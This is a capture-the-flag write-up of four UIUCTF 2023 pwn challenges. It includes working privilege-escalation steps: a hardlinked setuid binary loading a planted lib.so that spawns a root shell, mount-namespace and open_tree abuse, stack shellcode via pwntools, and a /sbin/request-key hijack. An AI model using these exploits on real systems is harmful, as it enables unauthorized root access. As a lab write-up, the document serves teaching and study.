At UIUCTF 2023, I played with Project Sekai CTF team. We achieved 3rd place overall. Below is my writeup for some pwn challenges in the CTF.
Zapping a Setuid 1
I was reading how Zapps work the other day and I thought I could do better. However, what happens when a setuid was zapped?
Hint:
Oops I left CVE-2009-0876 open.
Looking around the VM, we saw a directory with a setuid
binary named exe
:
uiuctf-2023:~/zapps/build$ ls -la
total 2456
drwxr-xr-x 1 root root 76 Jun 19 18:12 .
drwxr-xr-x 1 root root 16 Jun 20 16:35 ..
-rwsr-xr-x 1 root root 31280 Jun 19 18:12 exe
-rwxr-xr-x 1 root root 240936 Jun 19 18:12 ld-linux-x86-64.so.2
-rwxr-xr-x 1 root root 17464 Jun 19 18:12 lib.so
-rw-r--r-- 1 root root 2216304 Jun 19 18:12 libc.so.6
Some background on setuid
binary: If a binary has setuid
flag set, when an user execute that binary normally, the process will have privileges of the file’s owner.
For example sudo
uses this feature in order to run commands with root
privileges after checking current user’s permissions.
Running the exe
, we got the following output:
uiuctf-2023:~/zapps/build$ ./exe
static_constructor in lib invoked
static_constructor in exe invoked
main invoked with arguments:
argv[0] = ./exe
foo invoked
contents of /proc/self/maps:
555555fbf000-555555fe0000 rw-p 00000000 00:00 0 [heap]
7f53d7218000-7f53d721b000 rw-p 00000000 00:00 0
7f53d721b000-7f53d7243000 r--p 00000000 00:0f 296643 /usr/lib/zapps/build/libc.so.6
7f53d7243000-7f53d73d8000 r-xp 00028000 00:0f 296643 /usr/lib/zapps/build/libc.so.6
7f53d73d8000-7f53d7430000 r--p 001bd000 00:0f 296643 /usr/lib/zapps/build/libc.so.6
7f53d7430000-7f53d7434000 r--p 00214000 00:0f 296643 /usr/lib/zapps/build/libc.so.6
7f53d7434000-7f53d7436000 rw-p 00218000 00:0f 296643 /usr/lib/zapps/build/libc.so.6
7f53d7436000-7f53d7443000 rw-p 00000000 00:00 0
7f53d7443000-7f53d7444000 r--p 00000000 00:0f 296642 /usr/lib/zapps/build/lib.so
7f53d7444000-7f53d7445000 r-xp 00001000 00:0f 296642 /usr/lib/zapps/build/lib.so
7f53d7445000-7f53d7446000 r--p 00002000 00:0f 296642 /usr/lib/zapps/build/lib.so
7f53d7446000-7f53d7447000 r--p 00002000 00:0f 296642 /usr/lib/zapps/build/lib.so
7f53d7447000-7f53d7448000 rw-p 00003000 00:0f 296642 /usr/lib/zapps/build/lib.so
7f53d7448000-7f53d744a000 rw-p 00000000 00:00 0
7f53d744a000-7f53d744c000 r--p 00000000 00:0f 296641 /usr/lib/zapps/build/ld-linux-x86-64.so.2
7f53d744c000-7f53d7476000 r-xp 00002000 00:0f 296641 /usr/lib/zapps/build/ld-linux-x86-64.so.2
7f53d7476000-7f53d7481000 r--p 0002c000 00:0f 296641 /usr/lib/zapps/build/ld-linux-x86-64.so.2
7f53d7481000-7f53d7482000 ---p 00000000 00:00 0
7f53d7482000-7f53d7484000 r--p 00037000 00:0f 296641 /usr/lib/zapps/build/ld-linux-x86-64.so.2
7f53d7484000-7f53d7486000 rw-p 00039000 00:0f 296641 /usr/lib/zapps/build/ld-linux-x86-64.so.2
7f53d7486000-7f53d7487000 r--p 00000000 00:0f 296640 /usr/lib/zapps/build/exe
7f53d7487000-7f53d7488000 r-xp 00001000 00:0f 296640 /usr/lib/zapps/build/exe
7f53d7488000-7f53d7489000 r--p 00002000 00:0f 296640 /usr/lib/zapps/build/exe
7f53d7489000-7f53d748a000 r--p 00002000 00:0f 296640 /usr/lib/zapps/build/exe
7f53d748a000-7f53d748b000 rw-p 00003000 00:0f 296640 /usr/lib/zapps/build/exe
7ffd50913000-7ffd50934000 rw-p 00000000 00:00 0 [stack]
7ffd50996000-7ffd5099a000 r--p 00000000 00:00 0 [vvar]
7ffd5099a000-7ffd5099c000 r-xp 00000000 00:00 0 [vdso]
From the output, we can see that the exe
loads lib.so
, libc.so.6
and ld-linux-x86-64.so.2
.
That means if we can compromise one of those, we can execute code with root
privileges since exe
is a setuid
binary with root
as owner.
The problem is we cannot write to /usr/lib/zapps/build/
. It’s time to look at the report mentioned in the hint:
… hardlinks on Linux preserve permission, including set*id bits, and can be created by non-root users.
That means if we create a hardlink to /usr/lib/zapps/build/exe
at somewhere else, it will still have the setuid
bit set. We can create the hardlink using the following command:
uiuctf-2023:~$ ln /usr/lib/zapps/build/exe
Now copy lib.so
, libc.so.6
and ld-linux-x86-64.so.2
to the same directory with the hard link to do a test run:
uiuctf-2023:~$ cp /usr/lib/zapps/build/*.so* .
uiuctf-2023:~$ ls
exe init_chal ld-linux-x86-64.so.2 lib.so libc.so.6 zapps
uiuctf-2023:~$ ./exe
./exe: error while loading shared libraries: lib.so: cannot open shared object file: No such file or directory
Seems like the ld
cannot find lib.so
in any of the search paths. I decided to just patch one of the search path in ld
to /home/user/
using this python script:
with open('ld-linux-x86-64.so.2', 'rb') as f:
dat = f.read()
# at offset 180311: /usr/lib/x86_64-linux-gnu/
dat = dat[:180311] + b'/home/user////////////////' + dat[180337:]
with open('ld-linux-x86-64.so.2', 'wb') as f:
f.write(dat)
Now it can run again:
uiuctf-2023:~$ ./exe
static_constructor in lib invoked
static_constructor in exe invoked
main invoked with arguments:
argv[0] = ./exe
foo invoked
contents of /proc/self/maps:
555555cb9000-555555cda000 rw-p 00000000 00:00 0 [heap]
7f5a1c023000-7f5a1c026000 rw-p 00000000 00:00 0
7f5a1c026000-7f5a1c04e000 r--p 00000000 00:0f 297376 /home/user/libc.so.6
7f5a1c04e000-7f5a1c1e3000 r-xp 00028000 00:0f 297376 /home/user/libc.so.6
7f5a1c1e3000-7f5a1c23b000 r--p 001bd000 00:0f 297376 /home/user/libc.so.6
7f5a1c23b000-7f5a1c23f000 r--p 00214000 00:0f 297376 /home/user/libc.so.6
7f5a1c23f000-7f5a1c241000 rw-p 00218000 00:0f 297376 /home/user/libc.so.6
7f5a1c241000-7f5a1c24e000 rw-p 00000000 00:00 0
7f5a1c24e000-7f5a1c24f000 r--p 00000000 00:0f 297375 /home/user/lib.so
7f5a1c24f000-7f5a1c250000 r-xp 00001000 00:0f 297375 /home/user/lib.so
7f5a1c250000-7f5a1c251000 r--p 00002000 00:0f 297375 /home/user/lib.so
7f5a1c251000-7f5a1c252000 r--p 00002000 00:0f 297375 /home/user/lib.so
7f5a1c252000-7f5a1c253000 rw-p 00003000 00:0f 297375 /home/user/lib.so
7f5a1c253000-7f5a1c255000 rw-p 00000000 00:00 0
7f5a1c255000-7f5a1c257000 r--p 00000000 00:0f 297374 /home/user/ld-linux-x86-64.so.2
7f5a1c257000-7f5a1c281000 r-xp 00002000 00:0f 297374 /home/user/ld-linux-x86-64.so.2
7f5a1c281000-7f5a1c28c000 r--p 0002c000 00:0f 297374 /home/user/ld-linux-x86-64.so.2
7f5a1c28c000-7f5a1c28d000 ---p 00000000 00:00 0
7f5a1c28d000-7f5a1c28f000 r--p 00037000 00:0f 297374 /home/user/ld-linux-x86-64.so.2
7f5a1c28f000-7f5a1c291000 rw-p 00039000 00:0f 297374 /home/user/ld-linux-x86-64.so.2
7f5a1c291000-7f5a1c292000 r--p 00000000 00:0f 296640 /home/user/exe
7f5a1c292000-7f5a1c293000 r-xp 00001000 00:0f 296640 /home/user/exe
7f5a1c293000-7f5a1c294000 r--p 00002000 00:0f 296640 /home/user/exe
7f5a1c294000-7f5a1c295000 r--p 00002000 00:0f 296640 /home/user/exe
7f5a1c295000-7f5a1c296000 rw-p 00003000 00:0f 296640 /home/user/exe
7ffdc7547000-7ffdc7568000 rw-p 00000000 00:00 0 [stack]
7ffdc75a9000-7ffdc75ad000 r--p 00000000 00:00 0 [vvar]
7ffdc75ad000-7ffdc75af000 r-xp 00000000 00:00 0 [vdso]
I then created a new lib.so
using the following C code:
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
static __attribute__((constructor)) void static_constructor(void) {
// Set effective user id of the process to root
setuid(0);
perror("setuid");
// Set effective group id of the process to root
setgid(0);
perror("setgid");
// Spawn a shell
execlp("/bin/bash", "bash", "-l", NULL);
}
void foo(void) {
printf("foo invoked\n");
}
Compile it with:
uiuctf-2023:~$ cc -o lib.so x.c -fPIC -shared
Now we run the exe
with our new lib.so
:
uiuctf-2023:~$ ./exe
setuid: Success
setgid: Success
uiuctf-2023:~# id
uid=0(root) gid=0(root) groups=0(root),1000(user)
uiuctf-2023:~# cat /mnt/flag
uiuctf{did-you-see-why-its-in-usr-lib-now-0cd5fb56}
Zapping a Setuid 2
Ok ok ok, but what if there was another way?
Hint 1:
The “zapps” symlink is for accessibility. The intended solution does not depend on the symlink.
Hint 2:
The additional patches to this challenge are hints.
To understand this challenge, first we need to know about Linux namespaces. For a quick explanation, namespaces are used to create isolated environment. Processes inside a namespace can only see and use resources inside that namespace. One use of namespaces is to implement containers.
There are multiple kind of namespaces (click on them to see their man
pages):
- User namespace
- Mount namespace
- Network namespace
- PID namespace
- Cgroup namespace
- IPC namespace
- Time namespace
- UTS namespace
In this challenge, protected_hardlinks
is enable so user
cannot create hard link of exe
anymore.
But the kernel is modified with some patches. Let’s analyze them.
From 7d26a340113813b6f9064b25f2928c177269d2f5 Mon Sep 17 00:00:00 2001
From: YiFei Zhu <[email protected]>
Date: Mon, 19 Jun 2023 22:26:16 -0700
Subject: [PATCH] fs/namespace: Allow generic loopback mount without requiring
nsfs
The argument was flawed and was never agreed upon [1].
After 18 years, what could possibly go wrong?
[1] https://lore.kernel.org/all/1131563299.5400.392.camel@localhost/T/#t
Signed-off-by: YiFei Zhu <[email protected]>
---
fs/namespace.c | 3 ---
1 file changed, 3 deletions(-)
diff --git a/fs/namespace.c b/fs/namespace.c
index 4f520f800dbc..eb196f016e3f 100644
--- a/fs/namespace.c
+++ b/fs/namespace.c
@@ -2396,9 +2396,6 @@ static struct mount *__do_loopback(struct path *old_path, int recurse)
if (IS_MNT_UNBINDABLE(old))
return mnt;
- if (!check_mnt(old) && old_path->dentry->d_op != &ns_dentry_operations)
- return mnt;
-
if (!recurse && has_locked_children(old, old_path->dentry))
return mnt;
--
2.41.0
check_mnt
is used to check if the path is in the same mount namespace as the current task’s mount namespace.
By removing this check, the patch allows cross loopback mounting between different mount namespaces.
Mount namespace isolates the mount table. Changes to the mount table inside a namespace will not be visible to other namespaces.
From 9946c9e1e098884064df8a394a6ef992c94d21e6 Mon Sep 17 00:00:00 2001
From: YiFei Zhu <[email protected]>
Date: Mon, 19 Jun 2023 21:39:32 -0700
Subject: [PATCH] fs/namespace: Allow unpriv OPEN_TREE_CLONE
OPEN_TREE_CLONE is only really useful when you could use move_mount()
to perform a bind mount. Otherwise all you get is an fd equivalent to
an O_PATH'ed fd that is detached, without a way to modify any
mountpoints of the current namespace.
What could possibly go wrong?
Signed-off-by: YiFei Zhu <[email protected]>
---
fs/namespace.c | 3 ---
1 file changed, 3 deletions(-)
diff --git a/fs/namespace.c b/fs/namespace.c
index df137ba19d37..4f520f800dbc 100644
--- a/fs/namespace.c
+++ b/fs/namespace.c
@@ -2527,9 +2527,6 @@ SYSCALL_DEFINE3(open_tree, int, dfd, const char __user *, filename, unsigned, fl
if (flags & AT_EMPTY_PATH)
lookup_flags |= LOOKUP_EMPTY;
- if (detached && !may_mount())
- return -EPERM;
-
fd = get_unused_fd_flags(flags & O_CLOEXEC);
if (fd < 0)
return fd;
--
2.41.0
This patch allow unprivileged user to call SYS_open_tree
with OPEN_TREE_CLONE
flag.
From 7bba6f2216c5b757e38cd90f7b12bdf952e316c7 Mon Sep 17 00:00:00 2001
From: YiFei Zhu <[email protected]>
Date: Mon, 19 Jun 2023 23:04:25 -0700
Subject: [PATCH] fs/namespace: Check userns instead of mntns in mnt_may_suid
If we are in the same userns, I don't see why we need to check
if we are in the same mntns too, right?
Signed-off-by: YiFei Zhu <[email protected]>
---
fs/namespace.c | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/fs/namespace.c b/fs/namespace.c
index eb196f016e3f..25757327a82a 100644
--- a/fs/namespace.c
+++ b/fs/namespace.c
@@ -4609,7 +4609,8 @@ bool mnt_may_suid(struct vfsmount *mnt)
* suid/sgid bits, file caps, or security labels that originate
* in other namespaces.
*/
- return !(mnt->mnt_flags & MNT_NOSUID) && check_mnt(real_mount(mnt)) &&
+ return !(mnt->mnt_flags & MNT_NOSUID) &&
+ current_in_userns(real_mount(mnt)->mnt_ns->user_ns) &&
current_in_userns(mnt->mnt_sb->s_user_ns);
}
--
2.41.0
This patch allows setuid
binary behavior if the user namespace that is holding the current mount is the same as the current user namespace of the task.
The goal of this challenge is still the same as the previous one: try to make the setuid
binary loads our custom library. How can we abuse the patches to achieve that?
By calling SYS_open_tree
with OPEN_TREE_CLONE
, the tree will be in a detached state. We can attach the tree using SYS_move_mount
, but it requires CAP_SYS_ADMIN
in order to modify the mount table. Interestingly, in detached state, the root of the tree will be at /
. If we call SYS_execveat
using the detached tree as the dirfd
, /proc/self/exe
symlink will not be the full path to the binary. Example in pseudocode:
fd = SYS_open_tree(AT_FDCWD, "/usr/lib/zapps", OPEN_TREE_CLONE | AT_RECURSIVE)
SYS_execveat(fd, "build/exe")
// /proc/self/exe now links to /build/exe
This is convenient because the loader code of zapps
finds ld.so
using /proc/self/exe
link (file zapps-crt0.c
in the handout package):
char ld_rel[] = "/ld-linux-x86-64.so.2";
// ...
exe_path_len = _zapps_sys_readlink((char []){"/proc/self/exe"}, ld, PATH_MAX);
if (exe_path_len < 0 || exe_path_len >= PATH_MAX)
_zapps_die("Zapps: Fatal: failed to readlink /proc/self/exe\n");
ld[exe_path_len] = '\0';
*_zapps_strrchr(ld, '/') = '\0';
_zapps_strncat(ld, ld_rel, sizeof(ld) - 1);
ld_fd = _zapps_sys_open(ld, O_RDONLY | O_CLOEXEC);
if (ld_fd < 0)
_zapps_die("Zapps: Fatal: failed to open ld.so\n");
But we cannot freely create any directory as user
. Fortunately, patch #1 allows us to do cross loopback mount between mount namespaces. We will do the following:
- Fork the process
- In the child process:
- Call
unshare(CLONE_NEWUSER | CLONE_NEWNS)
to enter a new mount namespace and haveCAP_SYS_ADMIN
so we can modify the mount table - Bind mount
/usr/lib/zapps
to/home/user/home/user
- Call
SYS_open_tree(AT_FDCWD, "/home/user", 0)
to open a treefd
- Start an infinite loop to keep the namespaces
- Call
- In the original process:
- Sleep to wait for the child to complete all mount operations
- Call
fd = SYS_open_tree(AT_FDCWD, "/proc/<child_pid>/fd/3", OPEN_TREE_CLONE | AT_RECURSIVE)
to clone a detached tree of/home/user
in the child mount namespace (patch #2 allowsuser
to do this) - Call
SYS_execveat(fd, "home/user/build/exe")
to launch the binary (patch #3 allows thesetuid
behavior even though the tree is in another mount namespace)
When the binary is executed, /proc/self/exe
links to /home/user/build/exe
. Copy *so*
files from /usr/lib/zapps/build/
to /home/user/build/
, patch ld
and create a custom lib.so
like previous challenge and we will get a root shell.
Flag: uiuctf{is-kernel-being-overly-cautious-5ba2e5c4}
Virophage
This challenge is inspired by TSJ CTF 2022’s “virus” challenge.
I thought a virus could be even tinier, but I there’s a catch: are viruses alive or dead? What separates living organisms from lifeless objects? Can viruses infect other viruses?
Note: This challenge has not been solved by the author. Have fun!
The challenge’s executable (the spawner) is a setuid
binary, owned by root
at /home/user/virophage
.
It will do the following:
- Isolate
/tmp
by changing into another mount namespace - Ask the user to provide a number in hex, called
phage
in the source code - Create a 32-bit ELF file at
/tmp/virus
with this header:
struct {
Elf32_Ehdr ehdr;
Elf32_Phdr phdr;
} data = {
.ehdr = {
.e_ident = {
ELFMAG0, ELFMAG1, ELFMAG2, ELFMAG3,
ELFCLASS32, ELFDATA2LSB, EV_CURRENT,
ELFOSABI_SYSV
},
.e_type = ET_EXEC,
.e_machine = EM_386,
.e_version = EV_CURRENT,
.e_entry = phage,
.e_ehsize = sizeof(Elf32_Ehdr),
.e_phentsize = sizeof(Elf32_Phdr),
.e_phnum = 1,
},
.phdr = {
.p_type = PT_NULL,
},
};
- Change effective user id to
root
- Disable ASLR for child process (or execve’d by this process) by calling
SYS_personality(ADDR_NO_RANDOMIZE)
- Execute
/tmp/virus
From the ELF header, we can see that the number we entered will be used as the entry address of the virus.
How can we execute code? Using the provided test environment, let’s attach gdb
to it:
(gdb) r
Starting program: /home/user/virophage
Please enter a number in hex: 0x0
You entered: 0x00000000
execve...
process 70 is executing new program: /tmp/virus
Program received signal SIGSEGV, Segmentation fault.
0x00000000 in ?? ()
As expected, the program crashes at where we set the entry point. Examine the mappings:
(gdb) info proc mappings
process 70
Mapped address spaces:
Start Addr End Addr Size Offset Perms objfile
0xf7ff8000 0xf7ffc000 0x4000 0x0 r--p [vvar]
0xf7ffc000 0xf7ffe000 0x2000 0x0 r-xp [vdso]
0xfffdd000 0xffffe000 0x21000 0x0 rwxp [stack]
(gdb)
Notice that permission of the stack is rwxp
, which means we can execute code on stack. Why does this happen?
Reading through the man
page of ELF,
we know that PT_GNU_STACK
program header is used to control the state of the stack (R, W, X)
base on the p_flag
field in Elf32_Phdr
structure. But in the generated header of the virus, that header is not available.
So what is the default permission of the stack? Why isn’t it non-executable by default? Let’s look at the kernel:
/*
* An executable for which elf_read_implies_exec() returns TRUE will
* have the READ_IMPLIES_EXEC personality flag set automatically.
*
* The decision process for determining the results are:
*
* CPU: | lacks NX* | has NX, ia32 | has NX, x86_64 |
* ELF: | | | |
* ---------------------|------------|------------------|----------------|
* missing PT_GNU_STACK | exec-all | exec-all | exec-none |
* PT_GNU_STACK == RWX | exec-stack | exec-stack | exec-stack |
* PT_GNU_STACK == RW | exec-none | exec-none | exec-none |
*
* exec-all : all PROT_READ user mappings are executable, except when
* backed by files on a noexec-filesystem.
* exec-none : only PROT_EXEC user mappings are executable.
* exec-stack: only the stack and PROT_EXEC user mappings are executable.
*
* *this column has no architectural effect: NX markings are ignored by
* hardware, but may have behavioral effects when "wants X" collides with
* "cannot be X" constraints in memory permission flags, as in
* https://lkml.kernel.org/r/[email protected]
*
*/
#define elf_read_implies_exec(ex, executable_stack) \
(mmap_is_ia32() && executable_stack == EXSTACK_DEFAULT)
The virus is a 32-bit ELF, so the decision will be exec-all
. Along with the fact that ASLR is disabled for the virus,
we can point the entry address to the stack and execute code. But how do we put code on the stack? Looking at the entry point of the spawner:
void virophage_start_main(void **stack)
{
void *argv, *envp;
unsigned int i;
int argc;
argc = (uintptr_t)*stack++;
argv = (void *)stack;
for (i = 0; i < argc; i++)
stack++;
stack++;
envp = stack;
_vp_sys_exit(virophage_main(argc, argv, envp));
}
__asm__ (
".globl _start\n"
".section .text,\"ax\",@progbits\n"
".type _start, @function\n"
"_start:\n"
" mov %rsp, %rdi\n"
" call virophage_start_main\n"
" hlt\n"
);
All arguments and environment variables that we pass to the spawner will be available on the stack. Later, the virus is executed using the following parameters:
_vp_sys_execve("/tmp/virus", argv, envp);
That means the virus will inherit all arguments and environment variables of the spawner. These will also be on the virus’s stack.
We can pass a non-null shellcode as an argument for the spawner then point the entry address of the virus to it.
Padding some nop
instructions before the actual shellcode will make it easier to identify on the stack.
I used the following script to generate a base64 encoded shellcode:
from pwn import *
context.arch = 'i386'
context.os = 'linux'
print(b64e(asm(shellcraft.cat('/mnt/flag')).rjust(0x100, b'\x90')))
Save the output to /home/user/arg
. Now attach the gdb
to the spawner again and find where our shellcode is:
(gdb) file virophage
Reading symbols from virophage...
(gdb) r $(base64 -d /home/user/arg)
Starting program: /home/user/virophage $(base64 -d /home/user/arg)
Please enter a number in hex: 0x0
You entered: 0x00000000
execve...
process 123 is executing new program: /tmp/virus
Program received signal SIGSEGV, Segmentation fault.
0x00000000 in ?? ()
(gdb) find $esp, +0x200, (int)0x90909090
0xffffde22
0xffffde23
0xffffde24
0xffffde25
0xffffde26
0xffffde27
0xffffde28
0xffffde29
0xffffde2a
0xffffde2b
0xffffde2c
0xffffde2d
0xffffde2e
0xffffde2f
0xffffde30
...
I choose 0xffffde30
as the entry point to avoid any alignment problems.
Now we go to the server, write the encoded shellcode to /home/user/arg
and run the spawner:
uiuctf-2023:~$ ./virophage $(base64 -d /home/user/arg)
Please enter a number in hex: 0xffffde30
You entered: 0xFFFFDE30
execve...
uiuctf{windows_defender_wont_catch_this_bc238ba4}
Segmentation fault
Am I not root?
Ever wondered why nsjail prints a giant warning when it’s run as root? Well, now you know ;)
Hint:
I disabled coredumps and modules. What else are there?
The first thing that came to my mind was loading a kernel module, but it is disabled.
Then I remember that /sbin/modprobe
will be called by the kernel if I execute a file with unknown magic bytes.
But since kernel module loading is disabled, we cannot use it too. What else we can use to make the kernel execute our code?
The kernel will sometimes call user mode helper like /sbin/modprobe
using call_usermodehelper_setup
and call_usermodehelper_exec
.
call_usermodehelper
will call both functions.
Finding references to those functions, I found an interesting call in
security/keys/request_key.c
,
which will calls /sbin/request-key
. Searching for it, I came to the documentation of Key Request Service.
According to the documentation, we can make the kernel execute /sbin/request-key
by calling SYS_request_key
syscall.
Since we are root, we can create /sbin/request-key
file. I populated it with the following script:
#!/bin/sh
cat /mnt/flag > /tmp/flag
We also have to run chmod +x /sbin/request-key
to make it executable.
After that, I call SYS_request_key
using the example in
the man
page of SYS_request_key
, and the flag were written to /tmp/flag
.
uiuctf-2023:/home/user# ./a.out user mtk:key1 "Payload data"
request_key: Required key not available
uiuctf-2023:/home/user# cat /tmp/flag
uiuctf{need_more_isolations_for_root_5a4bb464}